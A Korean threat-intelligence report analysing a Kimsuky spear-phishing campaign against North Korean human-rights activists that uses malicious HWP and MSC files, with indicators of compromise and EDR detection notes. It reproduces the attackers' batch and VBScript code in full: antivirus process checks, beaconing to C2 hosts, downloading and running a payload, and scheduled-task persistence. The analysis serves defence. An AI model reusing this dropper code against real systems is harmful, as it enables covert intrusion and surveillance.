○ 지난 5월 10일, Genians Security Center(GSC)는 '페이스북과 MS관리콘솔을 활용한 Kimsuky APT 그룹의 새로운 공격 전략'을 처음 소개한 바 있습니다. 더불어 한국인터넷진흥원(KISA) 위협 인텔리전스 네트워크, 국내외 주요 보안 관계자와 협력해 민관 합동 대응을 진행했습니다.
○ GSC는 그 이후에도 해당 위협 행위자(Threat Actor)가 페이스북 정찰을 통해 추가 공격 대상자 탐색 후, 스피어 피싱으로 은밀히 공격 중인 정황을 포착했습니다. 특히, MSC와 함께 HWP 악성문서도 내부 침투에 사용됐습니다.
[그림 1] Kimsuky 그룹의 MSC, HWP 기반 공격 흐름도
○ 김수키 그룹은 MS관리콘솔을 이용한 공격을 지속하고 있으며, 현재 3종의 MSC 악성파일이 추가 발견됐지만, 발견되지 않은 더 많은 변종이 있을 것으로 추정됩니다. 따라서, MSC 파일에 대한 각별한 주의가 요구되는 실정입니다.
○ 한편, GSC는 김수키 MSC 공격전략이 중국 기반 위협그룹 'Mustang Panda'에도 영향을 준 것으로 보고 있습니다. 지난 5월 30일 'Шуурхай мэдээ 2024-05-27 -.msc' 파일이 몽골 지역에서 바이러스토탈(VT)에 업로드 됐습니다. 파일명은 몽골어가 사용됐고, 영어로 번역하면 속보 뉴스(Breaking news 2024-05-27 -.msc) 의미를 담고 있습니다.
○ 해당 파일은 전세계 64개의 보안 및 백신 프로그램에서 탐지되고 있지 않고 있으며, MSC 파일내 Powershell 작업명령 매개변수를 통해 C2 호스트 'profilepimpz[.]com' 도메인을 통해 MSI 유형의 PlugX(aka KorPlug) 악성파일이 설치됩니다.
[그림 1-1] 중국 '머스탱 판다'가 사용한 MSC 악성파일 VT 탐지 이력
○ 참고로 PlugX 악성 파일은 'DLL Side-Loading' 기법을 통해 탐지 회피를 시도하는 특성을 가지고 있습니다.
○ 이번 김수키 APT 캠페인 건은 하나의 공격 시나리오로 단정해 설명하기 어렵습니다. 해당 위협 행위자(Threat Actor)들의 여러 사이버 작전 활동에 연속성과 복잡성이 보이기 때문입니다.
○ GSC는 지난 5월에 발간한 위협 인텔리전스 보고서를 통해 페이스북 기반 침투 전략을 소개한 바 있습니다. 이번 사례는 앞서 공개한 캠페인의 연장선 중 하나로 분석됩니다.
○ 지난 번 공격 시나리오가 북한 인권분야 공직자 사칭의 페이스북 계정이 악용됐다면, 금번 사례는 외신 통신사 소속의 신분처럼 위장한 이메일로 복수의 북한 인권 활동가에 접근한 점이 다릅니다.
○ 이처럼 두 케이스 모두 '북한 인권 분야'라는 공통점이 있고, hwp 악성 문서와 함께 'MS 관리 Console' 프로그램을 통해 실행되는 'MS Common Console 문서(msc)'가 활용된 특징이 있습니다.
[그림 2] 통신사 인터뷰 요청 위장 이메일 접근 화면 (일부 블러 처리)
○ 보통 전형적 스피어 피싱은 초반부터 악성 URL 링크나 첨부 파일을 보내는 경우가 있지만, 정상 내용의 질문 및 협조 요청을 담아 오랜기간 신뢰와 친밀도를 유지하며 대화하는 이른바 반응형 투트랙 스피어 피싱 공격이 늘어나는 추세입니다.
○ 위협 행위자는 인터뷰 요청과 관련해, 여러 차례 정상 이메일을 주고 받았습니다. 그 과정에 '인터뷰메모(2405).hwp' 이름의 악성 파일을 참고자료로 전달합니다. 그리고 배포용 문서라 본문 내에 기사 초안을 링크로 넣었다며, 이른바 '개체 연결 삽입(OLE)' 실행을 유도합니다.
[그림 3] 악성 HWP 문서 첨부 화면과 '래일' 북한식 단어 모습 (일부 블러 처리)
○ 공격 과정 중 자연스런 대화가 이어졌고, 위협 행위자 역시 평소 자신이 쓰던 표현을 그대로 사용했습니다. 평상시 언어 습관과 문화적 고유 특성을 숨기는 것은 위협 행위자 스스로 국적과 신분 노출 등 'OPSEC' 실패를 없애는 중요한 임무입니다.
○ 본 위협 사례의 경우 '래일'이라는 단어가 발견됐는데, '통일부 북한정보포털 남북한 언어 비교' 검색을 통해 북한어 표기법 확인이 됩니다. 참고로 한국은 두음법칙에 따라 '내일'이라고 표기합니다.
[그림 4] 통일부 북한정보포털 남북한 언어 비교 화면
○ 한국어 원어민 수준이라도, 남북한 언어 차이에 대한 이해도 및 관심이 높지 않다면 북한 표기법을 즉각 식별하는 것은 쉽지 않을 수 있습니다. 보통 단순 오탈자로 치부하거나, 위협 요소 관찰 대상 자체에 포함하지 않아 쉽게 지나칠 수 있습니다.
○ GSC는 동일한 위협 행위자가 HWP 공격 시나리오 뿐만 아니라 MSC 기반 공격을 수행한 것도 관측했습니다. 이메일 본문에 원드라이브(OneDrive) 클라우드 링크를 포함해 전달했고, 대상자에 따라 다른 링크가 사용됩니다. 다만, 사용된 공격자의 원드라이브 계정은 동일합니다. 발견된 종류로는 ▲양자암호_기사(초안).msc ▲Pocantico Agenda_Jun 4-6.msc ▲Interview by Reuters(SeanKing).msc 등이 있지만, 발견되지 않은 변종이 더 많이 존재할 것으로 추정됩니다.
[그림 5] 원드라이브 통해 전달된 악성 MSC 파일 화면
○ 최근 몇년 사이에 HWP 기반 APT 공격 빈도는 감소 추세를 보이고 있는 편입니다. 자체 취약점을 이용한 경우는 보기 드물고, 주로 '개체 연결 삽입(OLE)'을 통한 기법이 다수 입니다.
○ 먼저 1차 스피어 피싱 공격에 쓰인 '인터뷰메모(2405).hwp' 파일의 내부 구조를 살펴보면, 'BinData' 영역에 'BIN0001.OLE' 스트림 데이터가 포함된 것을 알 수 있습니다.
[그림 6] hwp 문서 파일의 내부 OLE 스트림 데이터 화면
○ 실제 '인터뷰메모(2405).hwp' 문서가 실행되면, 특정 암호 설정으로 편집이 제한된 [배포용 문서]로 구성돼 있습니다.
○ 위협 행위자는 배포용 문서 내부에 기사 초안을 링크로 넣어두었다며, '기재 예정 기사 초안 (검토 필요)' 밑줄 영역의 클릭을 유도 합니다.
[그림 7] hwp 문서 실행 화면 (일부 블러 처리)
○ 이곳이 바로 OLE 설정 구역으로, 밑줄 영역에 접근해 클릭할 경우 OLE 추가 명령이 작동하게 됩니다.
○ hwp 문서에 삽입된 OLE 파일은 문서가 열릴 때 임시폴더(Temp) 경로에 생성됩니다.
[그림 8] hwp 문서에 포함된 OLE 패키지 코드 모습
○ 임시폴더 경로에 생성된 파일은 'doc.bat' 이름의 배치 파일이며, 문서 내 OLE 밑줄 영역을 사용자가 클릭할 때까지 대기합니다.
○ 'doc.bat' 파일은 다음과 같은 명령어로 구성돼 있습니다. 먼저 'mode 15,1' 명령줄을 통해 커맨드 콘솔 창의 너비와 높이를 최소로 설정해 화면이 잘 보이지 않도록 만듭니다.
mode 15,1
@echo off
tasklist.exe > "%temp%\qaz"
set "g=LWRlZg=="
>nul find /i "ayagent" "%temp%\qaz" && (
set "a=YXlrLQ=="
) || (
set "a=LQ=="
)
>nul find /i "avastui" "%temp%\qaz" && (
set "b=YXZhLQ=="
) || (
set "b=LQ=="
)
>nul find /i "avpui.exe" "%temp%\qaz" && (
set "c=a2FzcC0="
) || (
set "c=LQ=="
)
>nul find /i "avp.exe" "%temp%\qaz" && (
set "d=a2FzcC0="
) || (
set "d=LQ=="
)
>nul find /i "v3" "%temp%\qaz" && (
set "e=djEt"
) || (
set "e=LQ=="
)
>nul find /i "stsess" "%temp%\qaz" && (
set "f=djIt"
) || (
set "f=LQ=="
)
set "inf=%a%%b%%c%%d%%e%%f%%g%"
start explorer "https://temp.demetradesign[.]it/eternalwealth/wp-content/plugins/health-check/pages/interview/view.php?do=""%inf%"""
echo On Error Resume Next:Dim t0:Set ws =
CreateObject("WScript.Shell"):Set fs =
CreateObject("Scripting.FileSystemObject"):Set Post0 =
CreateObject("msxml2.xmlhttp"):Set asdf =
CreateObject("Scripting.FileSystemObject"):t0="":gpath =
ws.ExpandEnvironmentStrings("%appdata%") + "\Microsoft\qwer.gif":bpath = ws.ExpandEnvironmentStrings("%appdata%") + "\Microsoft\qwer.bat":If fs.FileExists(gpath) Then: re=fs.movefile(gpath,bpath):re=ws.run(bpath,0,true):fs.deletefile(bpath):Else:Post0.open "GET", "https://temp.demetradesign[.]it/eternalwealth/wp-content/plugins/health-check/pages/interview/d.php?na=battmp",False: Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":Post0.Send:t0=Post0.responseText:Set f = asdf.CreateTextFile(gpath,True):f.Write(t0):f.Close:End If:>c:\users\public\music\golve
schtasks /create /tn TemporaryStatescleaner /tr "wscript.exe /b c:\users\public\music\golve.vbs" /sc minute /mo 41 /f
rename c:\users\public\music\golve golve.vbs
del "%temp%\qaz" /f
|
[표 1] 'doc.bat' 명령어 모습 (일부 수정)
○ 그 다음 'tasklist.exe' 명령어를 통해 Windows 운영 체제에서 현재 실행 중인 모든 프로세스 목록을 표시하고, 임시 폴더(%temp%) 경로에 확장자 없는 'qaz' 파일에 저장합니다. 더불어 변수 값(g)에 Base64 [LWRlZg==] 값으로 할당합니다. 이 값의 디코딩 값은 [-def] 입니다. 그리고 저장된 'qaz' 내부 목록 중 개별로 지정된 Anti-Malware 프로세스 문자열을 대소문자 구분없이 찾습니다.
Process Name
|
Product Name
|
Base64 Encode
|
Base64 Decode
|
ayagent
|
Alyac
|
YXlrLQ==
|
ayk-
|
avastui
|
Avast
|
YXZhLQ==
|
ava-
|
avpui.exe
|
Kaspersky
|
a2FzcC0=
|
kasp-
|
avp.exe
|
Kaspersky
|
a2FzcC0=
|
kasp-
|
v3
|
Ahnlab
|
djEt
|
v1-
|
stsess
|
Ahnlab
|
djIt
|
v2-
|
[표 2] 프로세스 목록 find /i 구성 내용
○ 이어서 변수 값(a~f)을 지정하고, 검색결과 조건에 따라 Base64로 인코딩된 문자열을 할당합니다. 참고로 검색결과가 없을 경우 사용되는 Base64 인코딩 값은 공통적으로 [LQ==] 문자열이고, 디코딩하면 [-] 입니다.
○ 해당 값은 %inf% 변수 값(a~g)에 저장되고, 'temp.demetradesign[.]it' C2 서버의 'view.php?do=' 인자 값으로 전달됩니다. 해당 변수 값에 따라 웹 페이지 응답을 다르게 줄 수 있고, 결국 Anti-Malware 탐지 회피를 위한 용도로 구성할 수 있습니다.
○ 만약, 단말에 어떤 보안 제품 프로세스도 존재하지 않을 경우 아래와 같은 형식으로 전달됩니다.
https://temp.demetradesign[.]it/eternalwealth/wp-content/plugins/health-check/pages/interview/view.php?do="LQ==LQ==LQ==LQ==LQ==LQ==LWRlZg==" |
[표 3] C2 서버 주소로 접속할 경우 예제
○ 이어서 '공용 음악' 경로에 'golve' 파일명으로 다음과 같은 명령어를 저장합니다.
On Error Resume Next:
Dim t0:
Set ws = CreateObject("WScript.Shell"):
Set fs = CreateObject("Scripting.FileSystemObject"):
Set Post0 = CreateObject("msxml2.xmlhttp"):
Set asdf = CreateObject("Scripting.FileSystemObject"):
t0="":
gpath = ws.ExpandEnvironmentStrings("%appdata%") + "\Microsoft\qwer.gif":
bpath = ws.ExpandEnvironmentStrings("%appdata%") + "\Microsoft\qwer.bat":
If fs.FileExists(gpath) Then:
re=fs.movefile(gpath,bpath):
re=ws.run(bpath,0,true):
fs.deletefile(bpath):
Else:
Post0.open "GET", "https://temp.demetradesign[.]it/eternalwealth/wp-content/plugins/health-check/pages/interview/d.php?na=battmp",False:
Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":
Post0.Send:
t0=Post0.responseText:
Set f = asdf.CreateTextFile(gpath,True):
f.Write(t0):
f.Close:
End If:
|
[표 4] golve 파일로 저장되는 문자열 (일부 수정)
○ 이어서 작업 스케줄러에 'TemporaryStatescleaner' 이름을 등록하고, '공용 음악' 경로에 존재하는 'golve.vbs' 파일을 트리거 후 41분마다 반복 실행합니다. 그 다음 '공용 음악' 폴더에 있던 'golve' 파일을 'golve.vbs' 파일로 이름을 변경하고, 임시 폴더 경로의 'qaz' 파일을 삭제합니다.
[그림 9] 작업 스케줄러 속성 및 동작 내용
○ 예약 작업이 동작되면, 'wscript.exe' 실행을 통해 'golve.vbs' 파일이 호출됩니다. 그러면, %appdata% 하위 'Microsoft' 폴더 경로에 'qwer.gif' 파일 존재 여부를 비교합니다.
○ 'qwer.gif' 파일은 C2 서버의 'd.php?na=battmp' 내용을 저장하게 되는데, PHP 내부 명령은 변경될 수 있습니다. 참고로 이 명령 값은 기존 '페이스북과 MS관리콘솔을 활용한 Kimsuky APT 공격 발견' 내용과 일치합니다.
○ 본 사례와 과거에 사용된 C2 도메인 이력을 비교해 보면 다음과 같습니다. 공격 거점이 변경되고 있지만, 계속 동일한 캠페인이 진행됨을 알 수 있습니다.
Security Company
|
C2 Domain
|
C2 IP
|
지니언스
(Genians) |
temp.demetradesign[.]it/eternalwealth/wp-content/plugins/health-check/pages/interview/d.php?na=battmp
|
46.252.150.82 [IT]
|
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp
|
5.9.123.217 [DE]
|
|
안랩
(Ahnlab) |
joongang[.]site/pprb/sec/d.php?na=battmp
|
162.0.209.27 [US]
|
센티넬원
(Sentinelone) |
rfa[.]ink/bio/d.php?na=battmp
|
162.0.209.27 [US]
52.177.14.24 [US] |
[표 5] 보안 업체별 'battmp' 사용 사례 비교
○ GSC는 분석 당시 C2 서버에 명령어가 등록된 화면을 확인할 수 있었습니다.
[그림 10] C2 서버 웹 페이지 화면
○ 'qwer.gif' 파일이 생성된 후에 예약 작업 명령이 수행되면, 조건에 의해 'qwer.bat' 이름으로 확장자가 변경되고 실행됩니다. 이에 %appdata% 경로에 다음과 같은 내용을 담은 'keyinfo.txt' 파일이 생성됩니다.
serial number:TYHF-UHN6-KJ90-JB6F-VG5F |
[표 6] 'keyinfo.txt' 파일 내용
○ 작업 스케줄러 동작이 지속될 때마다 해당 값은 계속 누적되어 추가됩니다. 그리고 C2 공격 조건에 따라 확인되지 않은 다른 추가 명령이 전달될 수 있습니다. 한편, 초기 스피어 피싱에 쓰인 '인터뷰메모(2405).hwp' 파일 공격이 실패하자, 위협 행위자는 동일 수신자 대상 후속 공격에 msc 유형의 악성 파일을 사용했습니다.
○ 이처럼 hwp 악성 문서 다음 msc 공격이 바로 이어진 것은 처음 포착됐습니다. 김수키 그룹 소행의 msc 악성 파일이 APT 공격에 보고된 것은 이번이 두번째 이지만, 알려지지 않은 사례가 더 있을 가능성이 높습니다.
○ 공격에 쓰인 '양자암호_기사(초안).msc', 'Pocantico Agenda_Jun 4-6.msc' 두개의 악성 파일은 원드라이브 클라우드 링크를 통해 전달됩니다. 이때 크롬 웹 브라우저 조건에서 다운로드 기록 아이콘이 msc 파일로 보여지게 됩니다. 하지만 다운로드 후에는 마치 Word, PDF 문서처럼 보이도록 아이콘이 조작됐습니다.
[그림 11] msc 파일 다운로드 진행 시 아이콘 비교 화면
○ 실제 msc 공격 파일을 비교하면 아래와 같고, 'Interview by Reuters(SeanKing).msc' 파일의 경우 이전 페이스북 기반 공격 사례처럼 'ttt.hta' 공격 명령의 유사성이 존재하고, C2 주소는 이번 경우와 일치합니다.
파일 이름
|
속성 이름
|
C2 Domain
|
C2 IP
|
양자암호_기사(초안).msc
|
Security Mode
|
orientedworld[.]com/wp-content/plugins/health-check/pages/reuters/d.php?na=battmp
|
89.40.173.131 [IT]
|
Pocantico Agenda_Jun 4-6.msc
|
Security Mode
|
temp.demetradesign[.]it/eternalwealth/wp-content/plugins/health-check/pages/Seh-Lynn/d.php?na=battmp
|
46.252.150.82 [IT]
|
Interview by Reuters(SeanKing).msc
|
Security Mode
|
orientedworld[.]com/wp-content/plugins/health-check/pages/gorgon1/d.php?na=battmp
|
89.40.173.131 [IT]
|
[표 7] msc 악성 파일 내용 비교
○ '양자암호_기사(초안).msc' 파일은 hwp 공격을 받은 이용자가 동일하게 받은 파일이며, 'Pocantico Agenda_Jun 4-6.msc' 파일의 경우 hwp 악성 문서와 C2 도메인이 정확히 일치한 공통점이 발견됩니다.
[그림 12] 각 msc 파일의 실행 화면 모습
○ msc 파일을 통한 APT 공격이 연이어 발견됨에 따라 이용자들의 각별한 주의가 필요합니다. 특히, 평소 쉽게 접할 수 있는 문서 아이콘 형태로 위장한 점에 주목됩니다. 따라서 파일의 확장자를 유심히 살펴봐야 하고, msc 파일이거나 실행한 후 보여지는 화면이 위와 같다면, 'Open' 링크 접근을 중단해야 합니다.
○ 각 msc 파일의 명령줄 매개 변수를 비교해 보면, C2 도메인 경로만 다르고 다른 명령 부분이 동일하며, hwp 공격 코드 때와 유사성도 높습니다.
○ start explorer 명령으로 "C2 호스트/share" 주소로 연결되면, 미끼(Decoy)용 정상 문서가 보여지는데, 이 부분 역시 기존 위협 인텔리전스 보고서 내용과 일치합니다.
/c mode 15,1&start explorer "https://orientedworld[.]com/wp-content/plugins/health-check/pages/reuters/share"
&echo On Error Resume Next:
Set ws = CreateObject("WScript.Shell"):
Set fs = CreateObject("Scripting.FileSystemObject"):
Set Post0 = CreateObject("msxml2.xmlhttp"):
gpath = ws.ExpandEnvironmentStrings("%appdata%") + "\Microsoft\qwer.gif":
bpath = ws.ExpandEnvironmentStrings("%appdata%") + "\Microsoft\qwer.bat":
If fs.FileExists(gpath) Then:
fs.deletefile(bpath):
re=fs.movefile(gpath,bpath):
re=ws.run(bpath,0,true):
fs.deletefile(bpath):
Else:
Post0.open "GET", "https://orientedworld[.]com/wp-content/plugins/health-check/pages/reuters/d.php?na=battmp"
,False:
Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":
Post0.Send:
t0=Post0.responseText:
Set f = fs.CreateTextFile(gpath,True):
f.Write(t0):
f.Close:
End If:>"c:\users\public\music\qwer.vbs"&schtasks /create /tn Templatelogcleaner /tr "wscript.exe /b "c:\users\public\music\qwer.vbs"" /sc minute /mo 37 /f
|
/c mode 15,1&start explorer "https://temp.demetradesign[.]it/eternalwealth/wp-content/plugins/health-check/pages/Seh-Lynn/share"
&echo On Error Resume Next:
Set ws = CreateObject("WScript.Shell"):
Set fs = CreateObject("Scripting.FileSystemObject"):
Set Post0 = CreateObject("msxml2.xmlhttp"):
gpath = ws.ExpandEnvironmentStrings("%appdata%") + "\Microsoft\qwer.gif":
bpath = ws.ExpandEnvironmentStrings("%appdata%") + "\Microsoft\qwer.bat":
If fs.FileExists(gpath) Then:
fs.deletefile(bpath):
re=fs.movefile(gpath,bpath):
re=ws.run(bpath,0,true):
fs.deletefile(bpath):
Else:
Post0.open "GET", "https://temp.demetradesign[.]it/eternalwealth/wp-content/plugins/health-check/pages/Seh-Lynn/d.php?na=battmp"
,False:
Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":
Post0.Send:
t0=Post0.responseText:
Set f = fs.CreateTextFile(gpath,True):
f.Write(t0):
f.Close:
End If:>"c:\users\public\music\qwer.vbs"&schtasks /create /tn Templatelogcleaner /tr "wscript.exe /b "c:\users\public\music\qwer.vbs"" /sc minute /mo 37 /f
|
[표 8] msc 파일 명령줄 매개 변수 비교 (일부 수정)
○ hwp 및 msc 파일은 공통적으로 bat, vbs 명령을 사용하고 있습니다. 더불어 예약 작업 등록을 통해 잠복기 및 지속성을 유지합니다. 특히, msc 파일의 경우 Anti-Malware 시그니처 탐지율이 저조한 상태입니다.
○ APT 공격자들은 화살표가 포함된 아이콘 유형의 바로가기(LNK) 악성 코드와 더불어 MS관리콘솔(MSC) 악성 파일을 꾸준히 활용하고 있습니다.
○ 아이콘에 작은 화살표가 있는 (압축)파일이 이메일이나 SNS 등으로 수신될 경우나 문서 파일 아이콘이라도 확장자가 msc 인 경우, 악성 코드 가능성이 높습니다. 따라서, 아이콘과 확장자를 유심히 살펴보는 보안 습관이 요구됩니다.
○ 2분기에 들면서 HWP 문서내 악성 OLE를 삽입한 공격 사례가 조금씩 발견되고 있습니다. 물론, LNK 바로가기 유형의 악성 코드는 5월까지 꾸준히 보고됐습니다.
○ 특히, MSC 관리콘솔을 이용한 위협이 연이어 식별된 것은 매우 주목할 점입니다. 이른바 '백신프로그램(Anti-Virus)'의 탐지율이 저조한 것도 그만큼 널리 알려지지 않았기 때문입니다. 김수키(Kimsuky) 그룹이 MSC 관리콘솔 명령을 국지적 APT 공격에 적극 활용한 이유는 시그니처(패턴) 기반의 보안 탐지 회피 전략으로 평가됩니다.
○ 아울러 중국의 위협 배후 '머스탱 판다' 그룹이 '김수키' MSC 공격 전략을 모방해 사용한 점은 흥미롭습니다. 단순 우연의 일치인지, 두 그룹이 전략적 협력을 한 것인지, 중국이 일방적으로 이미테이션으로 따라한 것인지 아직 불명확합니다. 하지만, 공격자 측면에서 MSC 공격이 유효한 것임은 분명해 보입니다. 이렇듯 은밀히 수행 중인 사이버 위협을 인식하고 조기 탐지 및 신속 대응방안을 수립하는 것은 매우 중요한 보안 관리 업무입니다.
○ 위협 행위자는 신규 공격 기법을 지속 연구 개발하고 있습니다. 따라서, 알려진 시그니처 기반을 넘어 단말 이상행위 자체를 탐지하는 대응 솔루션이 요구됩니다.
○ GSC는 본 위협과 관련해 Genian EDR 솔루션을 통해 가상의 모의 공격 과정과 위협 대응을 검증했고, MSC 공격은 EDR을 통해 위협 초기에 탐지 및 후속 대응에 효과를 발휘할 수 있다는 것을 확인했습니다.
[그림 13] 'mmc.exe' 명령어 라인 확인 (일부 블러 처리)
○ Genian EDR 솔루션은 MS 관리콘솔(mmc.exe)에 의해 실행된 msc 파일의 커맨드 라인 내용과 모든 이벤트 과정을 수집하여, 보안 관리자가 가시성 위협 요소를 확인할 수 있습니다. 어떤 경로의 파일이 숙주인지도 식별이 용이하고, 추가로 작동된 자식 프로세스의 커맨드 명령과 예약 작업 등록 현황을 편리하고 빠르게 조회할 수 있습니다.
[그림 14] msc 악성 파일이 작동된 명령어 확인 (일부 블러 처리)
○ 이러한 위협 요소는 Anti-Virus 탐지 회피를 성공하더라도, Genian EDR 이상행위 규칙에서 탐지가 가능하기 때문에 보안 관리자는 신속히 대응이 가능합니다. 더불어 EDR 관리자는 프로세스 강제 종료 및 샘플 수집, 진단 규칙 추가 등을 수행할 수 있습니다.
[그림 15] 프로세스 종료 외 추가 조치 메뉴
○ Genian EDR은 알려진 침해지표(IoC) 뿐만 아니라, 서명된 윈도우 바이너리 'wscript.exe' 통한 네트워크 통신도 이상행위 탐지규칙(XBA)으로 선제적 위협 탐지가 가능합니다.
[그림 16] C2 서버 통신 이상행위(XBA) 탐지 화면
○ 이번 APT 공격은 이른바 'BabyShark','ReconShark' 이름의 위협 캠페인 일환 중 하나로 김수키(Kimsuky) 그룹이 배후에 있는 것으로 알려져 있습니다. APT 공격이 나날이 국지화되고 있어, 기업이나 기관은 이상행위 탐지에 특화된 EDR 솔루션을 적극 도입할 필요가 있습니다.
○ 국가배후 위협그룹은 단말에 설치된 백신 프로그램의 탐지를 회피하는 노력을 꾸준히 진행 중입니다. 특히, MSC 기반 공격이 증가하고 있어 각별한 주의가 필요합니다.
● MD5 (Kimsuky / ReconShark)
cb82751ae9f84709268fd5e5b135b74e
5f6303697bf8e978bf674ea8a7094673
cb82751ae9f84709268fd5e5b135b74e
d87ba0743c3de99f02b277068b9aea95
1cfef99f68b749d81736397e652c3d87
a27a6dbb2144f2dff187d8abc7b3eafb
● MD5 (Mustang Panda / PlugX)
5eae3d3b9aeeb0a4186ad3b68ff2da59
a7c5797956520905f71ab79873bcf950
9eb0b3e2f61ef255ef51ace86381a258
● C2
temp.demetradesign[.]it
orientedworld[.]com
profilepimpz[.]com
89.40.173.131
46.252.150.82